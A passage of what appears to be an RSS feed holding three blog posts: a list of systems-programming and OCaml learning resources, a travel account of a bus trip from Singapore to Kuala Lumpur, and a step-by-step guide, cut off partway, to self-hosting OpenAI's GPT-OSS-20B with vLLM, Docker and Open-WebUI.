actually hacking on systems, they are often lost. How do you build the compiler
from source? How do you manage your changes? Do I have to build the entire
compiler if I make a small change in the runtime system? The compiler crashes
with a segfault – how do I debug it? Worse, the students do not even know what
questions to ask, and come back with “This is all new to me, I don’t know where
to begin. ChatGPT doesn’t help.”
The CS education in India often lacks a focus on these practical systems skills,
which can make it challenging for new contributors to get involved in systems
programming.  Looking at my own past, my undergraduate CS education, like many
others in India (and potentially elsewhere), had mandatory OS and Compiler
Construction courses. But neither had a dedicated lab component. It is natural
that these theoretical courses do not prepare the students for the practical
aspects of systems programming.
I was privileged to have a computer at my school, an IBM PC AT Model 5170 and
later an IBM PC 340, and surprisingly, had an education where I got to do
programming from a very young age. There was lots of BASIC programming but also
just tinkering with the system, learning how to use DOS, and later Windows 3.1,
95, and of course playing games (Doom and Prince of Persia, mostly). This early
exposure to computers and systems programming gave me a head start. Many
students, especially those from less privileged backgrounds, do not have this
early exposure. They may have learned some programming, but not had the time to
tinker with systems for extended periods of time.
This challenge of bridging the gap between theoretical CS education and
practical systems programming skills is a common one faced by professors working
in the broad systems area. The problem is compounded by the fact that these
skills are difficult to teach in a traditional classroom setting—they require
hands-on experience, experimentation, and often many hours of frustration and
debugging. These are skills that come from doing, not from reading or watching
lectures. I would be curious to hear from others about their experiences and how
they have addressed this challenge.
That said, there are resources available online that can help new contributors
acquire these skills. This list is biased to the areas of the compiler that I
work on. I mainly work on the backend and the runtime system. The only reason I
usually touch the frontend is to lower the features that I care about to the
backend. Here are some I have found useful for working on the OCaml compiler:
Systems programming
    
Course: MIT Missing Semester: This is a
fantastic resource that covers a wide range of topics related to systems
programming, including command-line tools, version control, editors, and
more. The course is available online for free and includes video lectures,
notes, and exercises. I encourage you to read the motivation for this
course.
Course: Stanford CS45: CS45 is an extended version
of the MIT course, and delves into the topics in more detail.
Video: CppCon 2015: Greg Law “Give me 15 minutes & I’ll change your view of
GDB”: The talk explores GDB’s
less-known features and sheds light on some advanced debugging techniques.
Tool: rr - Lightweight Recording and Deterministic Debugging:
rr is a powerful tool for recording and replaying program execution, which
can be invaluable for debugging complex issues in systems programming. I’ve
stopped using gdb directly for anything non-trivial and have switched to
rr.
OCaml
    
Course: CS3100 Paradigms of Programming:
The course covers a significant chunk of the OCaml language. You should be able
to self-study the course to get a good understanding of the language. That said,
the course deliberately does not cover the build system (dune), package manager
(opam), command-line tools for the compiler (ocamlc, ocamlopt), editor
integration (merlin, ocaml-lsp, ocamlformat), etc.
Book: Real World OCaml: The book has a section on the
compiler and the runtime system, which gives a great overview of the memory
representation, garbage collection, and other aspects of the runtime system.
Diving deeper
    
Book: Systems Performance: Enterprise and the Cloud, 2nd Edition:
This book provides an in-depth look at systems performance, covering topics
such as CPU architecture, memory hierarchy, storage systems, and networking.
It is a valuable resource for understanding the underlying principles of
systems programming and performance optimization.
Book: The Garbage Collection Handbook: This book
offers a comprehensive overview of garbage collection techniques, algorithms,
and implementations. It is an essential resource for understanding memory
management in programming languages like OCaml.
Book: The Art of Multiprocessor Programming:
This book provides a deep dive into concurrent programming and
synchronization techniques, which are crucial for understanding
multi-threaded runtime systems like OCaml 5’s multicore runtime and the
programming model.
 

I will probably keep editing this post as I find more resources. If you have
suggestions for other useful resources or experiences to share, please feel free
to reach out to me.]]></description>
            <content:encoded><![CDATA[<p>How do you acquire the fundamental computer skills to hack on a complex
systems project like OCaml? What’s missing and how do you go about
bridging the gap?</p>

<!--more-->

<p>There are many fundamental systems skills that go into working on a
language like OCaml that only come with soaking in systems programming. By
systems programming, I mean the ability to use tools like the command-line,
editors, version control, build systems, compilers, debuggers, bash scripting,
and so on.  This is often something that one takes for granted when working on
such projects, but is often inscrutable for new contributors, who may not have
had the opportunity to develop these skills.</p>

<p>I struggle with this in my own research group. Students approach me to work on
the OCaml compiler because they have studied OS, Compilers and Computer
Architecture in class. But once they understand that working on OCaml involves
actually hacking on systems, they are often lost. How do you build the compiler
from source? How do you manage your changes? Do I have to build the entire
compiler if I make a small change in the runtime system? The compiler crashes
with a segfault – how do I debug it? Worse, the students do not even know what
questions to ask, and come back with “This is all new to me, I don’t know where
to begin. ChatGPT doesn’t help.”</p>

<p>The CS education in India often lacks a focus on these practical systems skills,
which can make it challenging for new contributors to get involved in systems
programming.  Looking at my own past, my undergraduate CS education, like many
others in India (and potentially elsewhere), had mandatory OS and Compiler
Construction courses. But neither had a dedicated lab component. It is natural
that these theoretical courses do not prepare the students for the practical
aspects of systems programming.</p>

<p>I was privileged to have a computer at my school, an IBM PC AT Model 5170 and
later an IBM PC 340, and surprisingly, had an education where I got to do
programming from a very young age. There was lots of BASIC programming but also
just tinkering with the system, learning how to use DOS, and later Windows 3.1,
95, and of course playing games (Doom and Prince of Persia, mostly). This early
exposure to computers and systems programming gave me a head start. Many
students, especially those from less privileged backgrounds, do not have this
early exposure. They may have learned some programming, but not had the time to
tinker with systems for extended periods of time.</p>

<p>This challenge of bridging the gap between theoretical CS education and
practical systems programming skills is a common one faced by professors working
in the broad systems area. The problem is compounded by the fact that these
skills are difficult to teach in a traditional classroom setting—they require
hands-on experience, experimentation, and often many hours of frustration and
debugging. These are skills that come from doing, not from reading or watching
lectures. I would be curious to hear from others about their experiences and how
they have addressed this challenge.</p>

<p>That said, there are resources available online that can help new contributors
acquire these skills. This list is biased to the areas of the compiler that I
work on. I mainly work on the backend and the runtime system. The only reason I
usually touch the frontend is to lower the features that I care about to the
backend. Here are some I have found useful for working on the OCaml compiler:</p>

<ul>
  <li>Systems programming
    <ul>
      <li><a href="https://missing.csail.mit.edu/">Course: MIT Missing Semester</a>: This is a
fantastic resource that covers a wide range of topics related to systems
programming, including command-line tools, version control, editors, and
more. The course is available online for free and includes video lectures,
notes, and exercises. I encourage you to read the <a href="https://missing.csail.mit.edu/motivation.html">motivation for this
course</a>.</li>
      <li><a href="https://cs45.stanford.edu/">Course: Stanford CS45</a>: CS45 is an extended version
of the MIT course, and delves into the topics in more detail.</li>
      <li><a href="https://www.youtube.com/watch?v=PorfLSr3DDI">Video: CppCon 2015: Greg Law “Give me 15 minutes &amp; I’ll change your view of
GDB”</a>: The talk explores GDB’s
less-known features and sheds light on some advanced debugging techniques.</li>
      <li><a href="https://rr-project.org/">Tool: rr - Lightweight Recording and Deterministic Debugging</a>:
rr is a powerful tool for recording and replaying program execution, which
can be invaluable for debugging complex issues in systems programming. I’ve
stopped using <code class="language-plaintext highlighter-rouge">gdb</code> directly for anything non-trivial and have switched to
<code class="language-plaintext highlighter-rouge">rr</code>.</li>
    </ul>
  </li>
  <li>OCaml
    <ul>
      <li><a href="https://github.com/fplaunchpad/cs3100_m20">Course: CS3100 Paradigms of Programming</a>:
The course covers a significant chunk of the OCaml language. You should be able
to self-study the course to get a good understanding of the language. That said,
the course deliberately does not cover the build system (dune), package manager
(opam), command-line tools for the compiler (ocamlc, ocamlopt), editor
integration (merlin, ocaml-lsp, ocamlformat), etc.</li>
      <li><a href="https://realworldocaml.org/">Book: Real World OCaml</a>: The book has a section on the
compiler and the runtime system, which gives a great overview of the memory
representation, garbage collection, and other aspects of the runtime system.</li>
    </ul>
  </li>
  <li>Diving deeper
    <ul>
      <li><a href="https://www.brendangregg.com/blog/2020-07-15/systems-performance-2nd-edition.html">Book: Systems Performance: Enterprise and the Cloud, 2nd Edition</a>:
This book provides an in-depth look at systems performance, covering topics
such as CPU architecture, memory hierarchy, storage systems, and networking.
It is a valuable resource for understanding the underlying principles of
systems programming and performance optimization.</li>
      <li><a href="https://gchandbook.org/">Book: The Garbage Collection Handbook</a>: This book
offers a comprehensive overview of garbage collection techniques, algorithms,
and implementations. It is an essential resource for understanding memory
management in programming languages like OCaml.</li>
      <li><a href="https://www.elsevier.com/books/the-art-of-multiprocessor-programming/herlihy/978-0-12-397337-5">Book: The Art of Multiprocessor Programming</a>:
This book provides a deep dive into concurrent programming and
synchronization techniques, which are crucial for understanding
multi-threaded runtime systems like OCaml 5’s multicore runtime and the
programming model.</li>
    </ul>
  </li>
</ul>

<p> </p>

<p>I will probably keep editing this post as I find more resources. If you have
suggestions for other useful resources or experiences to share, please feel free
to reach out to me.</p>
]]></content:encoded>
            <author>KC Sivaramakrishnan</author>
        </item>
        <item>
            <title><![CDATA[A Bad Day in Malaysia]]></title>
            <link>https://ravidwivedi.in/posts/a-bad-day-in-malaysia/</link>
            <guid isPermaLink="false">https://ravidwivedi.in/posts/a-bad-day-in-malaysia/</guid>
            <pubDate>Fri, 07 Nov 2025 07:25:20 GMT</pubDate>
            <description><![CDATA[Continuing from where Badri and I left off in the last post. On the 7th of December 2024, we boarded a bus from Singapore to the border town of Johor Bahru in Malaysia. The bus stopped at the Singapore emigration for us to get off for the formalities.
The process was similar to the immigration at the Singapore airport. It was automatic, and we just had to scan our passports for the gates to open. Here also, we didn’t get Singapore stamps on our passports.
After we were done with the emigration, we had to find our bus. We remembered the name of the bus company and the number plate, which helped us recognize our bus. It wasn’t there already after we came out of the emigration, but it arrived soon enough, and we boarded it promptly.
From the Singapore emigration, the bus travelled a few kilometers and dropped us at Johor Bahru Sentral (JB Sentral) bus station, where we had to go through Malaysian immigration. The process was manual, unlike Singapore, and there was an immigration officer at the counter who stamped our passports (which I like) and recorded our fingerprints.
At the bus terminal, we exchanged rupees at an exchange shop to get Malaysian ringgits. We could not find any free drinking water sources on the bus terminal, so we had to buy water.
Badri later told me that Johor Bahru has a lot of data centers, which need a lot of water for cooling. When he read about it later, he immediately connected it with the fact that there was no free drinking water, and we had to buy water. Such data centers can lead to scarcity of water for others in the area.
From JB Sentral, we took a bus to Larkin Terminal, as our hotel was nearby. It was 1.5 ringgits per person (30 rupees). In order to pay for the fare, we had to put cash in a box near the driver’s seat.
Around half-an-hour later, we reached our hotel. The time was 23:30 hours. The hotel room was hot as it didn’t have air-conditioning. The weather in Malaysia is on the hotter side throughout the year. It was a budget hotel, and we paid 70 ringgits for our room.
Badri slept soon after we checked-in. I went out during the midnight at around 00:30. I was hungry, so I entered a small scale restaurant nearby, which was quite lively for the midnight hours. At the restaurant, I ordered a coffee and an omelet. I also asked for drinking water. The unique thing about that was that they put ice in hot water to make its temperature normal.
My bill from the restaurant looked like the below-mentioned table, as the items’ names were in the local language Malay:
Item
Price (Malaysian ringgits)
Conversion to Indian rupees
Comments




Nescafe Tarik
2.50
50
Coffee


Ais Kosong
0.50
10
Water


Telur Dadar
2.00
40
Omelet


SST Tax (6%)
0.30
6



Total
5.30
106




After checking out from the restaurant, I explored nearby shops. I also bought some water before going back to the hotel room.
The next day, we had a (pre-booked) bus to Kuala Lumpur. We checked out from the hotel 10 minutes after the check-out time (which was 14:00 hours). However, within those 10 minutes, the hotel staff already came up three times asking us to clear out (which we were doing as fast as possible). And finally on the third time they said our deposit was forfeit, even though it was supposed to be only for keys and towels.
The above-mentioned bus for Kuala Lumpur was from the nearby Larkin Bus Terminal. The bus terminal was right next to our hotel, so we walked till there.
Upon reaching there, we found out that the process of boarding a bus in Malaysia resembled with taking a flight. We needed to go to a counter to get our boarding passes, followed by reporting at our gate half-an-hour before the scheduled time. Furthermore, they had a separate waiting room and boarding gates. Also, there was a terminal listing buses with their arrival and departure signs. Finally, to top it off, the buses had seatbelts.
We got our boarding pass for 2 ringgits (40 rupees). After that, we proceeded to get something to eat as we were hungry. We went to a McDonald’s, but couldn’t order anything because of the long queue. We didn’t have a lot of time, so we proceeded towards our boarding gate without having anything.
The boarding gate was in a separate room, which had a vending machine. I tried to order something using my card, but the machine wasn’t working. In Malaysia, there is a custom of queueing up to board buses even before the bus has arrived. We saw it in Johor Bahru as well. The culture is so strong that they even did it in Singapore while waiting for the Johor Bahru bus!
Our bus departed at 15:30 as scheduled. The journey was around 5 hours. A couple of hours later, our bus stopped for a break. We got off the bus and went to the toilet. As we were starving (we didn’t have anything the whole day), we thought it was a good opportunity to get some snack. There was a stall selling some food. However, I had to determine which options were vegetarian. We finally settled on a cylindrical box of potato chips, labelled Mister Potato. They were 7 ringgits.
We didn’t know how long the bus is going to stop. Furthermore, eating inside buses in Malaysia is forbidden. When we went to get some coffee from the stall, our bus driver was standing there and made a face. We got an impression that he doesn’t want us to have coffee.
However, after we got into the bus, we had to wait for a long time for it to resume its journey as the driver was taking his sweet time to drink his coffee.
During the bus journey, we saw a lot of palm trees on the way. The landscape was beautiful, with good road infrastructure throughout the journey. Badri also helped me improve my blog post on obtaining Luxembourg visa in the bus.
The bus dropped us at the Terminal Bersepadu Selatan (TBS in short) in Kuala Lumpur at 21:30 hours.
Finally, we got something at the TBS. We also noticed that the TBS bus station had lockers. This gave us the idea of putting some of our luggage in the lockers later while we will be in Brunei. We had booked a cheap Air Asia ticket which doesn’t allow check-in luggage. Further, keeping the checked-in luggage in lockers for three days was cheaper than paying the excess luggage penalty for Air Asia.
We followed it up by taking a metro as our hotel was closer to a metro station. This was a bad day due to our deposit being forfeited unfairly, and got nothing to eat.
We took the metro to reach our hostel, which was located in the Bukit Bintang area. The name of this hostel was Manor by Mingle. I had stayed here earlier in February 2024 for two nights. Back then, I paid 1000 rupees per day for a dormitory bed. However, this time the same hostel was much cheaper. We got a private room for 800 rupees per day, with breakfast included. Earlier it might have been pricier due to my stay falling on weekends or maybe February has more tourists in Kuala Lumpur.
That’s it for this post. Stay tuned for our adventures in Malaysia!]]></description>
            <content:encoded><![CDATA[<p>Continuing from where Badri and I left off in the last post. On the 7th of December 2024, we boarded a bus from Singapore to the border town of Johor Bahru in Malaysia. The bus stopped at the Singapore emigration for us to get off for the formalities.</p>
<p>The process was similar to the immigration at the Singapore airport. It was automatic, and we just had to scan our passports for the gates to open. Here also, we didn&rsquo;t get Singapore stamps on our passports.</p>
<p>After we were done with the emigration, we had to find our bus. We remembered the name of the bus company and the number plate, which helped us recognize our bus. It wasn&rsquo;t there already after we came out of the emigration, but it arrived soon enough, and we boarded it promptly.</p>
<p>From the Singapore emigration, the bus travelled a few kilometers and dropped us at Johor Bahru Sentral (JB Sentral) bus station, where we had to go through Malaysian immigration. The process was manual, unlike Singapore, and there was an immigration officer at the counter who stamped our passports (which I like) and recorded our fingerprints.</p>
<p>At the bus terminal, we exchanged rupees at an exchange shop to get Malaysian ringgits. We could not find any free drinking water sources on the bus terminal, so we had to buy water.</p>
<p>Badri later told me that Johor Bahru has a lot of data centers, which need a lot of water for cooling. When he read about it later, he immediately connected it with the fact that there was no free drinking water, and we had to buy water. Such data centers can lead to scarcity of water for others in the area.</p>
<p>From JB Sentral, we took a bus to Larkin Terminal, as our hotel was nearby. It was 1.5 ringgits per person (30 rupees). In order to pay for the fare, we had to put cash in a box near the driver&rsquo;s seat.</p>
<p>Around half-an-hour later, we reached our hotel. The time was 23:30 hours. The hotel room was hot as it didn’t have air-conditioning. The weather in Malaysia is on the hotter side throughout the year. It was a budget hotel, and we paid 70 ringgits for our room.</p>
<p>Badri slept soon after we checked-in. I went out during the midnight at around 00:30. I was hungry, so I entered a small scale restaurant nearby, which was quite lively for the midnight hours. At the restaurant, I ordered a coffee and an omelet. I also asked for drinking water. The unique thing about that was that they put ice in hot water to make its temperature normal.</p>
<p>My bill from the restaurant looked like the below-mentioned table, as the items&rsquo; names were in the local language Malay:</p>
<table>
<thead>
<tr>
<th>Item</th>
<th>Price (Malaysian ringgits)</th>
<th>Conversion to Indian rupees</th>
<th>Comments</th>
</tr>
</thead>
<tbody>
<tr>
<td>Nescafe Tarik</td>
<td>2.50</td>
<td>50</td>
<td>Coffee</td>
</tr>
<tr>
<td>Ais Kosong</td>
<td>0.50</td>
<td>10</td>
<td>Water</td>
</tr>
<tr>
<td>Telur Dadar</td>
<td>2.00</td>
<td>40</td>
<td>Omelet</td>
</tr>
<tr>
<td>SST Tax (6%)</td>
<td>0.30</td>
<td>6</td>
<td></td>
</tr>
<tr>
<td><strong>Total</strong></td>
<td><strong>5.30</strong></td>
<td><strong>106</strong></td>
<td></td>
</tr>
</tbody>
</table>
<p>After checking out from the restaurant, I explored nearby shops. I also bought some water before going back to the hotel room.</p>
<p>The next day, we had a (pre-booked) bus to Kuala Lumpur. We checked out from the hotel 10 minutes after the check-out time (which was 14:00 hours). However, within those 10 minutes, the hotel staff already came up three times asking us to clear out (which we were doing as fast as possible). And finally on the third time they said our deposit was forfeit, even though it was supposed to be only for keys and towels.</p>
<p>The above-mentioned bus for Kuala Lumpur was from the nearby Larkin Bus Terminal. The bus terminal was right next to our hotel, so we walked till there.</p>
<p>Upon reaching there, we found out that the process of boarding a bus in Malaysia resembled with taking a flight. We needed to go to a counter to get our boarding passes, followed by reporting at our gate half-an-hour before the scheduled time. Furthermore, they had a separate waiting room and boarding gates. Also, there was a terminal listing buses with their arrival and departure signs. Finally, to top it off, the buses had seatbelts.</p>
<p>We got our boarding pass for 2 ringgits (40 rupees). After that, we proceeded to get something to eat as we were hungry. We went to a McDonald&rsquo;s, but couldn&rsquo;t order anything because of the long queue. We didn&rsquo;t have a lot of time, so we proceeded towards our boarding gate without having anything.</p>
<p>The boarding gate was in a separate room, which had a vending machine. I tried to order something using my card, but the machine wasn&rsquo;t working. In Malaysia, there is a custom of queueing up to board buses even before the bus has arrived. We saw it in Johor Bahru as well. The culture is so strong that they even did it in Singapore while waiting for the Johor Bahru bus!</p>
<p>Our bus departed at 15:30 as scheduled. The journey was around 5 hours. A couple of hours later, our bus stopped for a break. We got off the bus and went to the toilet. As we were starving (we didn&rsquo;t have anything the whole day), we thought it was a good opportunity to get some snack. There was a stall selling some food. However, I had to determine which options were vegetarian. We finally settled on a cylindrical box of potato chips, labelled Mister Potato. They were 7 ringgits.</p>
<p>We didn&rsquo;t know how long the bus is going to stop. Furthermore, eating inside buses in Malaysia is forbidden. When we went to get some coffee from the stall, our bus driver was standing there and made a face. We got an impression that he doesn&rsquo;t want us to have coffee.</p>
<p>However, after we got into the bus, we had to wait for a long time for it to resume its journey as the driver was taking his sweet time to drink his coffee.</p>
<p>During the bus journey, we saw a lot of palm trees on the way. The landscape was beautiful, with good road infrastructure throughout the journey. Badri also helped me improve <a href="https://ravidwivedi.in/posts/luxembourg-visa-process/">my blog post</a> on obtaining Luxembourg visa in the bus.</p>
<p>The bus dropped us at the Terminal Bersepadu Selatan (TBS in short) in Kuala Lumpur at 21:30 hours.</p>
<p>Finally, we got something at the TBS. We also noticed that the TBS bus station had lockers. This gave us the idea of putting some of our luggage in the lockers later while we will be in Brunei. We had booked a cheap Air Asia ticket which doesn&rsquo;t allow check-in luggage. Further, keeping the checked-in luggage in lockers for three days was cheaper than paying the excess luggage penalty for Air Asia.</p>
<p>We followed it up by taking a metro as our hotel was closer to a metro station. This was a bad day due to our deposit being forfeited unfairly, and got nothing to eat.</p>
<p>We took the metro to reach our hostel, which was located in the Bukit Bintang area. The name of this hostel was Manor by Mingle. I had stayed here earlier in February 2024 for two nights. Back then, I paid 1000 rupees per day for a dormitory bed. However, this time the same hostel was much cheaper. We got a private room for 800 rupees per day, with breakfast included. Earlier it might have been pricier due to my stay falling on weekends or maybe February has more tourists in Kuala Lumpur.</p>
<p>That&rsquo;s it for this post. Stay tuned for our adventures in Malaysia!</p>
]]></content:encoded>
            <author>Ravi Dwivedi</author>
        </item>
        <item>
            <title><![CDATA[Self-Hosting OpenAI’s GPT-OSS: A Complete Guide for Traders]]></title>
            <link>https://openalgo.medium.com/self-hosting-openais-gpt-oss-a-complete-guide-for-traders-1e85ec2a46ad?source=rss-cda86e929c3------2</link>
            <guid isPermaLink="false">https://openalgo.medium.com/self-hosting-openais-gpt-oss-a-complete-guide-for-traders-1e85ec2a46ad?source=rss-cda86e929c3------2</guid>
            <pubDate>Wed, 05 Nov 2025 07:32:42 GMT</pubDate>
            <content:encoded><![CDATA[<h3>Introduction</h3><p>In August 2025, OpenAI made a significant shift by releasing GPT-OSS-20B and GPT-OSS-120B, their first open-weight language models since GPT-2. For traders and developers in the algorithmic trading space, this presents a unique opportunity to run advanced AI models privately, without API rate limits or recurring per-token costs.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pgGhoJHbtlIq_615gX6_Cg.png" /><figcaption>openai-gpt-oss-20b model running in Open Web UI hosted in H200 GPU</figcaption></figure><p>This guide walks you through the complete process of setting up your own self-hosted AI infrastructure using OpenAI’s GPT-OSS-20B model. Whether you’re building trading bots, analyzing market data, or creating educational content, having a private AI instance gives you complete control over your data and infrastructure.</p><h3>Why Self-Host an AI Model?</h3><p>Before diving into the technical setup, let’s understand why self-hosting makes sense for trading applications:</p><p><strong>Data Privacy</strong>: Your trading strategies, market analysis, and proprietary algorithms never leave your infrastructure. This is crucial when working with sensitive financial data.</p><p><strong>No Rate Limits</strong>: Unlike API-based services that throttle requests or charge per token, your self-hosted model runs as much as you need without restrictions.</p><p><strong>Cost Predictability</strong>: You pay a fixed hourly rate for the GPU server regardless of usage. For high-volume applications processing hundreds of requests daily, this becomes significantly more economical than pay-per-token APIs.</p><p><strong>Customization</strong>: Open-weight models can be fine-tuned on your specific trading data, terminology, and use cases, providing better results than generic models.</p><p><strong>Zero Latency</strong>: Running the model on your own infrastructure eliminates internet round-trip time, crucial for time-sensitive trading applications.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/573/1*6U4J8P2z0P94nrkGgtTcoQ.png" /></figure><h3>Understanding the Architecture</h3><p>Our setup consists of four main components:</p><p><strong>vLLM</strong>: A high-performance inference engine optimized for large language models. It handles GPU memory management, batching, and serves an OpenAI-compatible API.</p><p><strong>GPT-OSS-20B</strong>: OpenAI’s open-weight model with 21 billion parameters. It uses a mixture-of-experts architecture with 3.6 billion active parameters, providing strong reasoning capabilities while remaining efficient.</p><p><strong>Open-WebUI</strong>: A modern, ChatGPT-like web interface that connects to your vLLM server, providing an intuitive chat experience.</p><p><strong>Docker</strong>: Containerization platform that simplifies deploying Open-WebUI with all its dependencies.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iSO_ByHhNYanh8lWwBc_1A.png" /></figure><h3>Prerequisites and Costs</h3><p><strong>Hardware Requirements</strong></p><p>For GPT-OSS-20B, you need:</p><ul><li>GPU with at least 16GB VRAM (the model uses approximately 14GB)</li><li>8+ CPU cores recommended</li><li>32GB+ system RAM</li><li>100GB+ storage for model weights and system</li></ul><p>For this guide, we use an NVIDIA H200 GPU with 141GB VRAM, which provides headroom for the larger GPT-OSS-120B model if needed later.</p><p><strong>Estimated Costs</strong></p><p>Using Datacrunch cloud infrastructure:</p><ul><li>H200 GPU instance: $2.59 per hour</li><li>Storage (300GB): $0.082 per hour</li><li>Total: approximately $2.67 per hour</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4Xu6TlpKOUaQ1AmnnyUxiQ.png" /></figure><p>If running 24/7, this equals roughly $1,951 per month. However, you can stop the instance when not in use, as billing is per minute. Running 8 hours daily costs approximately $642 per month.</p><p><strong>Software Requirements</strong></p><p>All software components are open-source and free:</p><ul><li>Ubuntu 24.04 (included with GPU instance)</li><li>CUDA 12.8 (pre-installed)</li><li>Docker (free)</li><li>vLLM (open-source)</li><li>GPT-OSS-20B model weights (Apache 2.0 license)</li><li>Open-WebUI (open-source)</li></ul><h3>Step 1: Provisioning Your GPU Server</h3><p>We use Datacrunch for GPU infrastructure due to competitive pricing and straightforward deployment.</p><p>Create an account at <a href="https://cloud.datacrunch.io">https://cloud.datacrunch.io</a> and provision a new instance with these specifications:</p><ul><li>Instance type: H200 (or H100 for a more budget-friendly option)</li><li>Operating system: Ubuntu 24.04 with CUDA 12.8</li><li>Storage: 300GB</li><li>Location: Choose the closest data center for lowest latency</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LgksMVKTxItCUL5-jv_Peg.png" /></figure><p>Once provisioned, you will receive:</p><ul><li>IP address (we’ll use xx.xx.xx.xx as placeholder)</li></ul><p>Note : you need to create SSH key and apply the key while creating the GPU Cloud server. You’ll use it to connect to your server.</p><h3>Step 2: Initial Server Setup</h3><p>Connect to your server using SSH:</p><pre>ssh -i gpukey root@xx.xx.xx.xx</pre><p>First, verify your GPU is detected correctly:</p><pre>nvidia-smi</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*d93A6kQC9Z6MEX607-qvYg.png" /></figure><p>You should see your H200 GPU listed with approximately 141GB of memory.</p><p>Update system packages:</p><pre>apt update &amp;&amp; apt upgrade -y</pre><h3>Step 3: Firewall Configuration</h3><p>Security is crucial when running public-facing AI infrastructure. Configure UFW (Uncomplicated Firewall) to allow only necessary ports:</p><pre># Install UFW if not present<br>apt install ufw -y</pre><pre># Default policies<br>ufw default deny incoming<br>ufw default allow outgoing</pre><pre># Allow SSH (critical - do this first!)<br>ufw allow 22/tcp</pre><pre># Allow vLLM API<br>ufw allow 8000/tcp</pre><pre># Allow Open-WebUI<br>ufw allow 3000/tcp</pre><pre># Enable firewall<br>ufw enable</pre><pre># Verify configuration<br>ufw status</pre><p>Your output should show:</p><pre>Status: active</pre><pre>(venv) root@loud-tree-begins-ice-01:~/gpt-20b-server# ufw status<br>Status: active</pre><pre>To                         Action      From<br>--                         ------      ----<br>22/tcp                     ALLOW       Anywhere                   <br>22                         ALLOW       Anywhere<br>8000                       ALLOW       Anywhere<br>3000                       ALLOW       Anywhere<br>22/tcp (v6)                ALLOW       Anywhere (v6)<br>22 (v6)                    ALLOW       Anywhere (v6)<br>8000 (v6)                  ALLOW       Anywhere (v6)<br>3000 (v6)                  ALLOW       Anywhere (v6)</pre><pre>(venv) root@loud-tree-begins-ice-01:~/gpt-20b-server#</pre><h3>Step 4: Installing Docker</h3><p>Open-WebUI runs in a Docker container for simplified deployment.</p><p>Install Docker:</p><pre># Add Docker&#39;s official GPG key<br>apt-get update<br>apt-get install ca-certificates curl -y<br>install -m 0755 -d /etc/apt/keyrings<br>curl -fsSL https://download.docker.com/linux/ubuntu/gpg -o /etc/apt/keyrings/docker.asc<br>chmod a+r /etc/apt/keyrings/docker.asc</pre><pre># Add repository<br>echo \<br>  &quot;deb [arch=$(dpkg --print-architecture) signed-by=/etc/apt/keyrings/docker.asc] https://download.docker.com/linux/ubuntu \<br>  $(. /etc/os-release &amp;&amp; echo &quot;$VERSION_CODENAME&quot;) stable&quot; | \<br>  tee /etc/apt/sources.list.d/docker.list &gt; /dev/null<br># Install Docker<br>apt-get update<br>apt-get install docker-ce docker-ce-cli containerd.io docker-buildx-plugin docker-compose-plugin -y</pre><p>Verify Docker installation:</p><pre>docker --version</pre><pre>(venv) root@loud-tree-begins-ice-01:~/gpt-20b-server# docker --version<br>Docker version 28.5.1, build e180ab8</pre><p>Verify Cuda Version</p><pre>nvcc --version</pre><pre>(venv) root@loud-tree-begins-ice-01:~/gpt-20b-server# nvcc --version<br>nvcc: NVIDIA (R) Cuda compiler driver<br>Copyright (c) 2005-2025 NVIDIA Corporation<br>Built on Fri_Feb_21_20:23:50_PST_2025<br>Cuda compilation tools, release 12.8, V12.8.93<br>Build cuda_12.8.r12.8/compiler.35583870_0<br>(venv) root@loud-tree-begins-ice-01:~/gpt-20b-server# </pre><p>Install NVIDIA Container Toolkit to give Docker containers GPU access:</p><pre>curl -fsSL https://nvidia.github.io/libnvidia-container/gpgkey | gpg --dearmor -o /usr/share/keyrings/nvidia-container-toolkit-keyring.gpg</pre><pre>curl -s -L https://nvidia.github.io/libnvidia-container/stable/deb/nvidia-container-toolkit.list | \<br>  sed &#39;s#deb https://#deb [signed-by=/usr/share/keyrings/nvidia-container-toolkit-keyring.gpg] https://#g&#39; | \<br>  tee /etc/apt/sources.list.d/nvidia-container-toolkit.list<br>apt-get update<br>apt-get install -y nvidia-container-toolkit<br>nvidia-ctk runtime configure --runtime=docker<br>systemctl restart docker</pre><p>Test GPU access from Docker:</p><pre>docker run --rm --gpus all nvidia/cuda:12.2.0-base-ubuntu22.04 nvidia-smi</pre><p>If you see your GPU information, Docker is correctly configured.</p><h3>Step 5: Setting Up Python Environment for vLLM</h3><p>Create a dedicated directory and Python virtual environment:</p><pre>mkdir -p ~/gpt-20b-server<br>cd ~/gpt-20b-server</pre><p>Install Python virtual environment tools:</p><pre>apt install python3-venv python3-pip -y</pre><p>Create and activate virtual environment:</p><pre>python3 -m venv venv<br>source venv/bin/activate</pre><p>Your prompt should now show (venv) indicating the virtual environment is active.</p><p>Install vLLM and dependencies:</p><pre>pip install --upgrade pip<br>pip install vllm<br>pip install openai-harmony</pre><p>The installation takes several minutes as it downloads CUDA libraries and PyTorch.</p><h3>Step 6: Downloading GPT-OSS-20B Model</h3><p>The model weights are hosted on Hugging Face and total approximately 41GB.</p><p>Install Hugging Face CLI:</p><pre>pip install huggingface-hub</pre><p>Create a directory for model storage:</p><pre>mkdir -p ~/models</pre><p>Download GPT-OSS-20B:</p><pre>huggingface-cli download openai/gpt-oss-20b --local-dir ~/models/gpt-oss-20b</pre><p>This download takes 10–15 minutes depending on your connection speed. The CLI shows progress as it downloads 18 files including model weights, tokenizer, and configuration files.</p><h3>Step 7: Launching vLLM Server</h3><p>With the model downloaded, start the vLLM inference server.</p><p>Set required environment variable:</p><pre># Export environment variable<br>export VLLM_USE_FLASHINFER_SAMPLER=0</pre><p>Start vLLM in background:</p><pre># Start vLLM server<br>nohup python -m vllm.entrypoints.openai.api_server \<br>  --model openai/gpt-oss-20b \<br>  --download-dir ~/models \<br>  --host 0.0.0.0 \<br>  --port 8000 \<br>  --dtype auto \<br>  --gpu-memory-utilization 0.9 \<br>  --max-model-len 32768 \<br>  --trust-remote-code \<br>  &gt; vllm-server.log 2&gt;&amp;1 &amp;<br><br>PID=$!<br>echo &quot;📋 Process ID: $PID&quot;<br>echo &quot;⏳ Server is starting (takes 2-3 minutes)...&quot;<br>echo &quot;&quot;</pre><p>Configuration parameters explained:</p><ul><li>--model: Specifies which model to load</li><li>--download-dir: Where model files are stored</li><li>--host 0.0.0.0: Listen on 